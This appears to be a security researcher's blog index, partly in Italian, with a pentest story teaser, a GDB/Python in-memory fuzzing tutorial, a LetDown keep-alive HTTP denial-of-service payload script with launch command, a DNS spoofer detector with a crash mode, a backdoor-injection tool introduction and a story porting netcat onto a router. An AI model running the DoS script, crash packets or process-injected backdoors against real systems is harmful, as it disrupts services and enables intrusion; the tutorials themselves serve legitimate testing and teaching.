The invisible woman and the axis camera

1

This post follows the original “philosophy”377 of this blog. Sometimes, when I think about a technique or a skill I consider interesting, I also imagine a real-life scenario where this technique can be applied (and seems I’m not the only one378…).

So, why not combining technical explanations with realistic stories, avoiding the usual, and sometimes boring, article style?

An excellent example of this is the Stealing the Network379 series. Especially the first book How to Own the Box380, composed by several stand-alone episodes, mix in a perfect way commands, exploits and traffic dumps with captivating stories: an entertaining reading for both experienced non-expert audiences.

Of course I don’t consider myself as good as the authors of the series, especially when it comes to write a story in a language that is not mine. What follows is just a modest experiment, done largely for the pleasure of writing. Feel free to report any errors, grammatical or not.

If you are only interested in technical subjects, the story includes a security camera hijack via real-time image alteration, some interesting tricks with ARP packets (of which one is probably unedited), and a bit of physical penetration test.

I hope you’ll like it…

Anti-aircraft Artillery

After all, entering the internal network wasn’t difficult…

When we initially identified a WEP wireless network, we wanted to seize that low-hanging fruit and avoid direct contacts with the customer as long as possible. But the enthusiasm was short-lived.

“Aren’t you planning to crack that network, are you?” said GrayFog in a tone of disapproval, “According to the Mac address, the access point is a SonicWALL. Maybe they have maintained an obsolete encryption for backward compatibility issues, or maybe not. “
GrayFog is our remote support, the fact he’s a paranoid type by nature makes him particularly suitable for this role.
“Do you think it’s an honeypot?”  I replied. “I think nothing, my lord. But you know, Curiosity Killed The Cat…”

When he starts to quote I feel an irresistible urge to beat him, but, as we discovered later, his advice was correct. The wireless network was kept under control, and any attack would have been detected immediately381, if not actively blocked (apparently there’s a reason for the price of SonicWALL products…)

Despite this drawback, we could have tried to decrypt the traffic in a passive manner, but since network traffic was very low, it would have taken a long time. However I had an ace up my sleeve.

“Since you are in citation mode, who said ‘In battle one engages with the orthodox and gains victory through the unorthodox’?”  Just a rhetorical question… “Are you kidding? Sun Tzu, The art of war.”
“Returning to more concrete things, do you have a plan Luna?” For the first time Daniel was talking, my partner in physical operations.
“Yes, I do. But we must get our hands dirty, something low-tech.”

Read more of this post

In-memory-fuzzing in Linux (with GDB and Python)

Probably, if you’re reading this article, you already know what fuzzing means. In short, fuzz testing is a technique for testing software and searching vulnerabilities: targeted software is feeded with malformed input, hoping for something abnormal to occur.

In recent years many excellent frameworks have been published to help the tester in the development of an effective fuzzer (I like spike, peach and sulley very much).  But, as always, there are some experimental techniques, which in future will allow the evolution of the field: in this case I’m talking about in-memory fuzzing.

In-Memory Fuzzing is an advanced, and therefore even more complex, technique (but we’ll see how to manage this complexity), which allows the tester to fuzz individual subroutines of the targeted program. This focused type of test has many advantages:

  • The fuzzing process in faster and allows a complete code coverage, since it’s possible to select the piece of code to test.
  • Targeting a specific program subroutine, allows to bypass any obfuscation or decoding of input data, making the development of fuzzing tools simpler, from this point of view.

But how does an in-memory fuzzer work?

If we consider an application as chain of function, that receives an input, parses and processes it, and produces an output, we can describe in-memory fuzzing as a process that tests only a few specific rings of the chain (those dealing with parsing and processing).

Having clarified this point, is now easy to illustrate the main techniques used today:

Mutation Loop Insertion

Mutation Loop Insertion (MLI) modifies the target program inserting an infinite loop on the parsing subroutine, isolating it from from the rest of the function chain.

This loop can test the targeted function with a large quantity of inputs in a very short time, eliminating superfluous program’s code, and requires no interaction from the outside. This makes this method the fastest.

However it has also negative aspects, being the method more difficult to implement… It requires at least some knowledge of reverse engineering, and the ability to write code safely injectable inside an active process.

Snapshot Restoration Mutation

Snapshot Restoration Mutation (SRM) handle the program function chain is a different way: no code is injected, but, through the use of breakpoints, the fuzzer takes and restores snapshots of the process at the beginning and end of the tested function.

The effect is similar to that of an infinite loop, as in the previous case, but managed and monitored by an external process.

This method has several advantages including the ability to restore the program at a clean state, and, of course, it does not require the writing of assembly code. This at a cost of a certain performance degradation.

Implementation

Ok, the practical part, let’s start with a question…  Did you know that, since version 7.0, GDB can be scripted in python?

Yeah, I agree, it’s a wonderful thing:  although at the time the development is not yet complete, with some adjustments, it is possible to exploit all the capabilities of the (u)nix debugger par excellence, within our python scripts.

Moreover, since version 7.0, GDB is able to take and restore snapshots of the debugged process, with the introduction of the checkpoint command.

Having found a so confortable “framework” (that, IMHO, has good probabilities to overcome similar solutions present in the Windows environment, also excellent as PyDbg), I could not resist the temptation to write an implementation of in-memory fuzzer for (u)nix environments.

The result was the creation of a small library to support GDB python scripting, with the fuzzer inside the examples directory. Let’s look at its practical use…

 In-memory fuzzing (in practice)

The fuzzer is composed of two scripts: the first, in-memory-break.py, is used to find functions to test.

The script inserts breakpoints at the beginning of every function of the program and prints out their arguments in search of text strings. The goal is to find the function that parses the input.

Let’s try to run the script against the vulnerable program contained in the same directory:

cross@yotsubox$ ./in-memory-break.py getdomain test@email.com
Breakpoint 1 at 0x4004b0
Breakpoint 2 at 0x4004d8
Breakpoint 3 at 0x4004e8
Breakpoint 4 at 0x4004f8
Breakpoint 5 at 0x400508
Breakpoint 6 at 0x400518
Breakpoint 7 at 0x400528
Breakpoint 8 at 0x40056c
Breakpoint 9 at 0x400590
Breakpoint 10 at 0x400600
Breakpoint 11 at 0x40062c
Breakpoint 12 at 0x40064d
Breakpoint 13 at 0x4007f0

Function <__libc_start_main@plt> at *0x4004f8:
	argument0 = 4196079 "UH"
	argument1 = 2
	argument2 = 140737488348088 "L"
	argument3 = 4196192 "H"
	argument4 = 4196176
	argument5 = 140737351962048 "UH"

Function <_init> at *0x4004b0:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <call_gmon_start> at *0x40056c:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <frame_dummy> at *0x400600:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <__do_global_ctors_aux> at *0x4007f0:
	argument0 = 2
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <strdup@plt> at *0x400508:
	argument0 = 140737488348816 "test@email.com"
	argument1 = 140737488348088 "L"
	argument2 = 140737488348112
	argument3 = 0
	argument4 = 140737351885568
	argument5 = 140737351962048 "UH"

Function <parse> at *0x40064d:
	argument0 = 6295568 "test@email.com"
	argument1 = 140737488348831 "SSH_AGENT_PID=2952"
	argument2 = 0
	argument3 = 30803244232763745
	argument4 = 140737351888448
	argument5 = 140737348377640

Function <strtok@plt> at *0x400528:
	argument0 = 6295568 "test@email.com"
	argument1 = 4196426 "@"
	argument2 = 0
	argument3 = 30803244232763745
	argument4 = 140737351888448
	argument5 = 140737348377640

Function <strtok@plt> at *0x400528:
	argument0 = 0
	argument1 = 4196426 "@"
	argument2 = 6295573 "email.com"
	argument3 = 6295573 "email.com"
	argument4 = 6295568 "test"
	argument5 = 140737348377640

Function <strcpy@plt> at *0x400518:
	argument0 = 140737488346768
	argument1 = 6295573 "email.com"
	argument2 = 6295582
	argument3 = 6295583
	argument4 = 0
	argument5 = 140737348377640

Function <print_domain> at *0x40062c:
	argument0 = 140737488346768 "email.com"
	argument1 = 6295584
	argument2 = 140737488346777
	argument3 = 0
	argument4 = -72340172838076673
	argument5 = -72219847665292440

Function <printf@plt> at *0x4004d8:
	argument0 = 4196412 "Domain is %s\n"
	argument1 = 140737488346768 "email.com"
	argument2 = 140737488346777
	argument3 = 0
	argument4 = -72340172838076673
	argument5 = -72219847665292440

Domain is email.com
Function <printf@plt> at *0x4004d8:
	argument0 = 4196463 "Domain is valid? %s\n"
	argument1 = 4196428 "YES"
	argument2 = 140737351888368
	argument3 = 4196425
	argument4 = 1
	argument5 = 4196425

Domain is valid? YES
Function <__do_global_dtors_aux> at *0x400590:
	argument0 = 140737488347632 "("
	argument1 = 140737488347632 "("
	argument2 = 140737354127792
	argument3 = 4
	argument4 = 0
	argument5 = 4

[Inferior 1 (process 18083) exited normally]

I’ve highlighted the parsing function. This case was simple, because the binary was not stripped, making possible to print function names. But even in the case of stripped binaries, it’s possible to find the function we are interested in, analyzing and trying to decode the arguments.

The vulnerable program simply try to extract the domain from an email address: an overly long domain triggers a buffer overflow on the stack.

Now that we know the function to test and the input type, let’s try to see if our in-memory fuzzer is able to detect the bug:

cross@yotsubox$ ./in-memory-fuzz.py parse getdomain test@email.com
Breakpoint 1 at 0x400651

Breakpoint 1, 0x0000000000400651 in parse ()
fuzz loop: 1
string len: 15
0x601030:	 "test@email.com"
Domain is email.com
0x000000000040072f in main ()
Switching to process 4997
#0  0x0000000000400651 in parse ()
fuzz loop: 2
string len: 16
0x601030:	 "test@email.comA"
Domain is email.comA
0x000000000040072f in main ()
Switching to process 4998
#0  0x0000000000400651 in parse ()
fuzz loop: 3
string len: 17
0x601030:	 "test@email.comAA"
Domain is email.comAA
0x000000000040072f in main ()
Switching to process 4999
...
...
...
#0  0x0000000000400651 in parse ()
fuzz loop: 1031
string len: 1045
0x601030:	 "test@email.com", 'A' <repeats 186 times>...
Domain is email.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x000000000040072f in main ()
Switching to process 7202
#0 0x0000000000400651 in parse ()
fuzz loop: 1032
string len: 1046
0x601030:	 "test@email.com", 'A' <repeats 186 times>...
Domain is email.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Domain is valid? YES

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400849 in ?? ()
Switching to process 7203
#0  0x0000000000400651 in parse ()
fuzz loop: 1033
string len: 1047
0x601030:	 "test@email.com", 'A' <repeats 186 times>...
[Switching to process 7204]

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

#
# The program has crashed! Stack exhaustion or bug???
# Now is your turn, have fun! :P 
#

A debugging session is active.

	Inferior 1 [process 7204] will be killed.

Quit anyway? (y or n) y

As you can see, fuzzing loop number 1032 triggered the bug: the input strings are simply generated appending ‘A’ characters to a valid email address, and when the domain part reaches a critical length, a buffer on the stack is overflowed, overwriting the return address (and stack canaries).

Although this is script is very simple, it’s a basis to build on to create more complex fuzzer. In addition it illustrates several GDB features very useful in this field:

  • Allocation of memory on the target process
  • Snapshots/checkpoints and their restoration
  • Breakpoint management
  • Argument analysis

and so on…

If you are interested in GDB python scripting or in-memory fuzzing on (u)nix system, you can visit the project website:

GDB Python Utils:  https://github.com/crossbowerbt/GDB-Python-Utils/

You will find the scripts illustrated in this article under the examples directory of the project.

I’m also trying to maintain a good documentation for the support library, so you may give a look at the “snippet” page of the wiki (https://github.com/crossbowerbt/GDB-Python-Utils/wiki/Snippets/) to see the implemented features.

PS: the fuzzer was specifically developed for 64bit systems: if you want to use it against 32bit application you must adapt it (if you send me an email I can give you a few hints…)

LetDown and HTTP DoS attacks

These days much attention has turned to certain denial of service attacks that plague HTTP, also due to inherent vulnerabilities of the protocol itself.

I’ve read some nice pages and tools on various blogs/sites (e.g. Keep-Alive DoS script and Slowloris have caught my attention).

Usually all the tools work well, but they have some drawbacks: each one reimplements the wheel from scratch and uses standard operating system sockets to send and receive data. Therefore they are slower and consume more memory than a full raw-socket approach.

In most cases, this is not a problem: just think about the tool Slowloris which has been specifically designed for low bandwidths. But there are also cases where we want to maximize the resources we have…

The problem with the use of raw sockets and packet sniffing is that they are difficult to implement quickly and easily.

For these reasons, some time ago, I developed LetDown (http://complemento.sourceforge.net/). LetDown is a tcp flooder that uses an experimental userland TCP/IP stack, supports multistage payloads for complex protocols, and other interesting things (fragmentation of packets, variable tcp window, …) we won’t analyze right now.

The advantage of using LetDown is that we can concentrate on the data transmitted, leaving out the algorithms and the programming part.

Keep-alive DoS via LetDown

Keep-alive Denial of Service concepts are:

  • The use of Keep-Alive HTTP header to maintain the connection open.
  • The use of HEAD requests to reduce network overhead.
  • Target a resource intensive page (a page that require interaction with databases, files, etc…).

You can read more here: http://www.esrun.co.uk/blog/keep-alive-dos-script/. The author provides a php script that demonstrates the attack.

We can rewrite that script as a multistage payload, i.e. a python script interpreted by the embedded python engine of letdown:

#
# Letdown reimplementation of the attack:
# Keep-Dead (Version 1.14)
# http://www.esrun.co.uk/blog/keep-alive-dos-script/
#
# More info:
# http://securityadventures.wordpress.com/
# 

import random

# Callback function
def callback(count, h_flags, h_payload):

    global flags
    global window
    global action
    global payload

    #
    # Attack options
    #

    # target host
    target_host = "www.domain.net"

    # target query
    target_query = "/wordpress/?s=%rand%"

    # max requests per connection
    max_requests_per_connection = 100

    # user agent
    user_agent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7"

    #
    # Send HTTP requests
    #

    if count < max_requests_per_connection:

        # packet settings
        flags   = ack
        window  = 1024
        action  = act_wait

        # HTTP request
        payload  = "HEAD " + target_query.replace('%rand%',str(random.getrandbits(20))) + " HTTP/1.1\r\n"
        payload += "Host: " + target_host + "\r\n"
        payload += "User-Agent: " + user_agent + "\r\n"
        payload += "Connection: Keep-Alive\r\n\r\n"

    #
    # Close the connection
    #

    else:
        flags   = rst
        action  = act_wait

As you can see we did not need to program anything to manage the connection. These tasks are entirely managed by LetDown, via raw sockets and libpcap.

The only options specified are the contents of the TCP packet (the payload), and the action to perform (act_wait means: send the packet and wait for an acknowledgement packet from the server).

We can now lauch the attack with this command:

root@box# letdown -d DESTINATION_IP -D GATEWAY_MAC -p 80 -M payloads/http-keep-alive.py -f iptables -v 2

Of course, these attacks are allowed only if directed against machines on which we have permission to conduct tests. Before using it you should also give a look at the guide (http://complemento.sourceforge.net/howto/index.html) in order to understand low-level operations of the tool, and be able to identify the causes of the eventual errors.

PS: The script can probably be optimized against the specific target introducing appropriate delays (in the base form it’s only a Proof-of-Concept).

Exploiting Arm Linux Systems

Wow, this last month has been pretty intense. Between trips, new articles and projects I haven’t had much free time (although I enjoyed this month).

Exploiting Arm Linux Systems

This was my first article dealing specifically with ARM processors (even though I had already played with ARM-based embedded things…)

You can find the article at this address: http://www.exploit-db.com/download_pdf/16151

The majority of ARM systems are vulnerable and not adequately protected against arbitrary code execution attacks. I’ve (tried to) brought together, in a single document, the knowledge required to approach the exploitation of ARM Linux systems.

Return-oriented ARM shellcode

I assure you the article will not be a heavy read, because the chapters are full of examples, images and graphics.

A small digression: a friend of mine, has proposed me a t-shirt design. To appreciate the idea, one must have a basic knowledge of the ARM architecture:

we all like dirty tricks...

(Or maybe are these words a veiled reproach? :P )

NetDiscover (libnet purge)

Many of you know netdiscover (http://nixgeneration.com/~jaime/netdiscover/), which is, according to the site:

“Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. It can be also used on hub/switched networks.”

Netdiscover is very good tool, based on libpcap (http://www.tcpdump.org/) and libnet (http://sourceforge.net/projects/libnet-dev/). No problems with libpcap, but libnet is difficult to obtain/build on recent operating systems, since it’s not more developed.

I’ve written a patch for NetDiscover 0.3-beta7 (the last release) that eliminates libnet dependency. To apply it:

# cd netdiscover_directory # wget http://backtrack.it/~crossbower/netdiscover0.3-beta7-no-libnet.patch
# patch -p1 < netdiscover0.3-beta7-no-libnet.patch
patching file src/ifaces.c
patching file src/ifaces.h
patching file src/main.c

Then you must comment some lines from configure.ac:

AC_INIT([netdiscover], [0.3-beta7], [jpenalbae@gmail.com])
AC_CONFIG_AUX_DIR([build-aux])
AM_INIT_AUTOMAKE([-Wall -Werror])
AC_PROG_CC dnl Checks for header files. dnl check for pcap.h
AC_CHECK_HEADER(pcap.h,, AC_MSG_ERROR(Cannot find pcap.h - You need libpcap installed.))

#dnl check for libnet.h
#AC_CHECK_HEADER(libnet.h,, AC_MSG_ERROR(Cannot find libnet.h - You need libnet 1.1.x installed.))

AC_CONFIG_HEADERS([config.h]) AC_CONFIG_FILES([Makefile src/Makefile doc/Makefile]) AC_OUTPUT

printf "\nRun ./update-oui-database.sh if you want a updated MAC vendors database.\n\n" 

And finally compile and install with:

# ./autogen
# ./configure
# make
# make install 

Et voila! If you are lazy (like me) this is a prepatched archive (with updated OUI): http://backtrack.it/~crossbower/netdiscover-patched.tar.gz

Enjoy ;)

Update: My patch has been added to the development version of NetDiscover (http://netdiscover.svn.sourceforge.net/viewvc/netdiscover/trunk/ChangeLog):

Netdiscover 0.3-beta7 (Currently working on it)
   * Emanuele Acri <crossbower@gmail.com>: Libnet injection replaced by pcap
   ...

I’m really happy :)

DNS Despoof(er)

These days I was playing with some well-known tools to perform DNS spoofing in both *nix and windows environment: Dnsspoof (part of the dsniff suite) and WinDNSSpoof, of which I learned only recently.

I was analyzing the generation of DNS replies when I discovered something interesting:

If a request is artificially forged with arbitrary trailing bytes, these bytes are replicated in replies of DNS spoofer. The DNS response, since it must contain a copy of the query sent to the server, is generated with a simple memcpy () without being fully parsed.

Due to this behavior, we can easily find out if we are victims of DNS spoofing, if the attacker uses one of these stateless tools (essentially sniffers based on pcap). Of course this permit to detect the spoofer even if the attacker is not using ARP spoofing or other visible techniques.

So I wrote a script, quite easy to use, to automate this test. It’s based on hping3 tcl shell, which provides (IMHO in an easier manner than scapy) a framework for packet forging. Let’s see how to use the tool:

root@backtrack-base# hping3 exec dns_despoof.tcl
DNS Despoofer - Emanuele "Crossbower" Acri - 2010
 Usage: hping3 exec dns_despoof.tcl <server> <interface> (<action:search|crash>)

root@backtrack-base# hping3 exec dns_despoof.tcl192.168.56.101 vboxnet0 search
SPOOFER DETECTED!

In this case dnsspoof was running.

The tool has also another function: crash. This function injects a malformed packet, where the DNS name is not terminated by a null character. The tools that fail to properly parse the requested will exhibit a nice segfault. This is the case of WinDNSSpoof.

Dnsspoof, instead, uses the function dh_expand, contained in resolv.h, which is able to detect this type of error:

if ((i = dn_expand((u_char *)dns, end, p, name, sizeof(name))) < 0)
 return;

Crash example:

root@backtrack-base# hping3 exec dns_despoof.tcl 192.168.56.101 vboxnet0 crash
Bullet fired... Try again to search for spoofers:
 1) No responses: the spoofer is probably crashed (windnsspoof).
 2) Responses: it's a well written spoofer (dnsspoof).

A subsequent test will allow to realize whether the tool crashed or not, so this may also be a sort of fingerprint.

Here’s the source code of the tool (http://pastebin.com/78y4snFk). It’s only able to make a request with the name “google.com”, but can be easily adapted.

Cymothoa Ver.1 Alpha, introduzione

E’ stato appena rilasciato Cymothoa (http://cymothoa.sourceforge.net/) un tool scritto nel tempo libero da me e da codwizard (che colgo l’occasione per salutare ;) )

Come dice anche la pagina del progetto, Cymothoa e’ uno strumento per creare backdoor nascoste, inniettando il codice assembly di queste direttamente in processi gia’ in esecuzione. In questo modo e’ possibile sia sovrascrivere il codice del processo, sia farlo fork()are creando un processo con lo stesso nome ma che esegue in realta’ il nostro codice.

Vediamo un breve esempio di utilizzo del tool… Read more of this post

Router Odissey

Era una delle prime giornate di Settembre. Camminando per strada un vento fresco sbatteva contro la pelle non ancora coperta, scatenando brividi leggeri. A Luca questa sensazione é sempre piaciuta, insieme all’aria nuova che questo periodo porta con sé. “Anche qui in città l’aria sembra più frizzante…”, pensò, e sorrise perché questi piccoli cambiamenti lo mettevano di buon umore. Era questo il mese migliore da passare in città: l’estate volge al termine insieme all’afa e alla sensazione di essere perennemente sudati, lasciando il posto a giorni più miti in cui anche l’energia e l’entusiasmo sembrano tornare.

A volte anche oggetti banali possono nascondere segreti interessanti…

“Devo procurarmi un altro router adsl, altrimenti mi sento tagliato fuori…” Il giorno prima, vinto dalla noia e dalla curiosità aveva deciso di esplorare più a fondo il suo router. Forse non sapete che la maggior parte dei ‘networked devices’ in commercio, tra cui router, modem e addirittura alcune stampanti utilizzano come sistema operativo una qualche versione alleggerita di Linux o di NetBSD. Probabilmente se vi venisse voglio di eseguire una scansione con Nmap del vostro modem adsl ricevereste un output simile a questo:

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-01 15:35 CET
Interesting ports on 192.168.1.1:
Not shown: 995 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
5431/tcp open  unknown
Device type: Router|WAP
Running: Linux 2.4.X
OS details: Linux 2.4.20 - 2.4.24
Network Distance: 1 hop

Questo era ciò che diceva Nmap riguardo al suo vecchio modem. Era un Trust MD-5700, con funzionalità di access point wireless. Luca aveva già dato un’occhiata all’interfaccia web per configurare la sua connessione adsl e la rete locale, quindi adesso si diresse deciso verso la porta 22. Telnet non gli piaceva: oltre a essere estremamente insicuro per la mancanza di cifratura aveva la fastidiosa abitudine di trasmettere carattere per carattere, rendendo le sessioni testuali simili a una partita all’ultimo titolo della EA su una vecchia GeForce 2.

ssh root@192.168.1.1

Dopo la solita richiesta del client ssh riguardo al fingerprint della chiave del nuovo host, lo accolse la shell fornita da BusyBox. “Cominciamo a dare un’occhiata in giro…”

BusyBox v0.61.pre (2005.05.30-08:31+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

“Per prima cosa ho bisogno di sapere alcune informazioni sul kernel usato e sull’architettura del processore.”

# ls
bin etc proc usr dev lib sbin var

“Sembra che il filesystem proc sia montato, vediamo se é in grado di darmi le informazioni che voglio”

# cat /proc/version
Linux version 2.4.17_mvl21-malta-mips_fp_le (guest1@localhost) (gcc version 2.95.3
20010315 (release/MontaVista)) #1 Thu Mar 25 18:10:36 CST 2004
# cat /proc/cpuinfo
processor               : 0
cpu model               : AR7 V1.0
BogoMIPS                : 203.81
wait instruction        : no
microsecond timers      : yes
extra interrupt vector  : yes
hardware watchpoint     : yes
VCED exceptions         : not available
VCEI exceptions         : not available

“Vediamo… La versione di Linux é MontaVista!”. MontaVista é una distribuzione commerciale per dispositivi embedded che sta risquotendo un notevole successo. Sul sito http://www.mvista.com/ non é disponibile molta documentazione. Si può richiedere un live cd per la valutazione dei prodotti, contenente anche un ide basato su Eclipse per lo sviluppo embedded, DevRocket. “Sarebbe interessante provare averne una copia, ma qui in Italia non so in quanto tempo arriverà il cd, se arriverà”.

Il processore era un AR7, con architettura MIPS. Naturalmente, su questi sistemi, BusyBox e gli altri programmi utilizzano uclib, una libc più leggera della classica glibc. “Sarebbe divertente se potessi far girare alcuni miei programmi sul router; non so, anche un semplice client IRC, giusto per il gusto di farlo… “ Dopo una breve ricerca con google, e qualche download inutile (binari compilati per vecchie versioni di Linux, non compatibili con le attuali), trovò http://www.uclibc.org/downloads/binaries/ , da dove é possibile scaricare diversi toolchain per la cross-compilazione verso svariate architetture. Luca scaricò cross-compiler-mipsel.tar.bz2.

Come rompere un router, in pochi, semplici passi…

Dopo aver scompattato l’archivio si ottiene una directory con all’interno i tools necessari. Gcc, objdump, e svariati altre utility erano li in attesa che qualcuno le utilizzasse per compilare qualcosa. “Vediamo… Potrei cominciare con il fare il porting di un programma già esistente, ma che sarebbe utile far girare su un networked device… Si, perché no?” Indirizzò il suo browser verso l’indirizzo netcat.sourceforge.net. “Netcat non é un programma che utilizza librerie particolari, anche l’ultima versione dovrebbe andar bene.”

Una volta scompattato anche netcat Luca guardo con un po’ di disappunto il contenuto della directory creata. “Uff, utilizza gli autotools. Speriamo che sia possibile compilare il programma anche senza.” Passò alla cartella dei sorgenti, c’erano qualche file .c e qualche header. “Proviamo con una compilazione standard.”

mipsel-gcc *.c -o nc

Il compilatore si lamentò del fatto che nel file misc.h VERSION non era definito. Luca aggiunse una definizione personalizzata:

#define VERSION "v 7.0 MIPSle, by TheRouterHacker"

Questa volta la compilazione andò a buon fine, a parte qualche warning per la mancanza delle “random routines”. Non che fosse importante… Luca tornò alla sessione ssh. Scaduto il tempo il router lo aveva disconnesso, quindi provide a riautenticarsi. Era venuto il momento di testare il suo esperimento.

Per esigenze di aggiornamento firmware quasi tutti i router basati su un sistema *nix includevano alcuni strumenti standard per lo scaricamento di file o l’upload di file, infatti sia wget che un client tftp erano pronti per essere usati. “Non ho voglia di mettere su un server web per il trasferimento di un singolo file, vediamo se mi ricordo ancora qualche trucchetto con tftp.”

pc# netwox 167 -r netcat/src/
router# cd /var/tmp && tftp -g nc 192.168.1.5

Netwox é un programmino che a volte può tornare utile. Include circa 200 funzioni, e la 167 é un piccolo server tftp; soluzione semplice e veloce… Sul router dovette cambiare directory perché solo il ramfs /var é scrivibile, il resto é montato read-only come squashfs. Il problema é che le modifiche spariscono dopo un riavvio del dispositivo, ma per adesso questo non é importante.

router# chmod +x nc
router# ./nc -h
GNU netcat v 7.0 MIPSle, by TheRouterHacker, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  ./nc [options] hostname port [port] ...
listen for inbound:    ./nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   ./nc -L hostname:port -p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect
  -g, --gateway=LIST         source-routing hop point[s], up to 8
  -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
  -h, --help                 display this help and exit
  -i, --interval=SECS        delay interval for lines sent, ports scanned
  -l, --listen               listen mode, for inbound connects
  -L, --tunnel=ADDR : PORT   forward local port to remote address
  -n, --dont-resolve         numeric-only IP addresses, no DNS
  -o, --output=FILE          output hexdump traffic to FILE (implies -x)
  -p, --local-port=NUM       local port number
  -r, --randomize            randomize local and remote ports
  -s, --source=ADDRESS       local source address (ip or hostname)
  -t, --tcp                  TCP mode (default)
  -T, --telnet               answer using TELNET negotiation
  -u, --udp                  UDP mode
  -v, --verbose              verbose (use twice to be more verbose)
  -V, --version              output version information and exit
  -x, --hexdump              hexdump incoming and outgoing traffic
  -w, --wait=SECS            timeout for connects and final net reads
  -z, --zero                 zero-I/O mode (used for scanning)

Remote port number can also be specified as range.  Example: '1-1024'

